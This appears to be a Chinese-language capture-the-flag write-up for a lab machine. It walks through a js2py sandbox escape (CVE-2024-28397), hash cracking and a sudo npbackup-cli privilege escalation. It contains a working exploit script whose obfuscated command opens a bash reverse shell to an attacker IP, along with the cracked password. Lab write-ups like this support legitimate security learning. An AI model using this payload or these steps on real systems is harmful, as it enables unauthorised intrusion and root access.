nmap -T4 -v -A -Pn 10.10.11.82 -oN codeparttwo.txt

user

进入 8000,可以看到有三个功能点,登录注册和下载

可以看到下载之后为源码

runcode 这个方法会将代码传输给 js2py.eval_js 进行执行

cve-2024-28397

对于 js2py,有这个漏洞。js2py 的默认环境像一个沙箱,它限制了 JavaScript 代码访问 Node.js 的核心功能

https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape

但是这个只是本地环境验证的 poc,需要修改一下

import requests
import json

url = 'http://codepartwo.htb:8000/run_code'

js_code = """
// [+] command goes here:
let cmd = "echo KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTQuNDUvNTU2NiAwPiYxKSAm|base64 -d|bash";

let hacked, bymarve, n11;
let getattr, obj;

hacked = Object.getOwnPropertyNames({});


bymarve = hacked.__getattribute__;
n11 = bymarve("__getattribute__");
obj = n11("__class__").__base__;
getattr = obj.__getattribute__;

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i];
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item;
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result;
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
console.log(n11);
n11;
"""

payload = {"code": js_code}

headers = {"Content-Type": "application/json"}

# 向远程服务器发送POST请求,执行恶意代码
exp = requests.post(url, data=json.dumps(payload), headers=headers)
print(exp.text)

我们下载的文件中有个 users.db,但是表里的 user 没有东西

users.db

我们可以看看这个有没有

下面是 shell 中拿到的新的 users.db

marco 用户是有的,刚刚 shell 中看到

hashcat 爆破一下

hashcat hash.txt /usr/share/wordlists/rockyou.txt --show

sweetangelbabylove

ssh 连接,就可以连接拿到 user.txt 了

root

npbackup

sudo -l 可以看到可以执行 npbackup-cli

sudo /usr/local/bin/npbackup-cli --dump /root/root.txt --snapshot-id latest

会提示需要配置文件,当前目录下面就有一个配置文件。

将配置目录改成/root

先备份

sudo /usr/local/bin/npbackup-cli -c /home/marco/npbackup.conf -b -f

再查看

sudo /usr/local/bin/npbackup-cli -c /home/marco/npbackup.conf --dump /root/root.txt --snapshot-id latest

"The quieter you become, the more you are able to hear."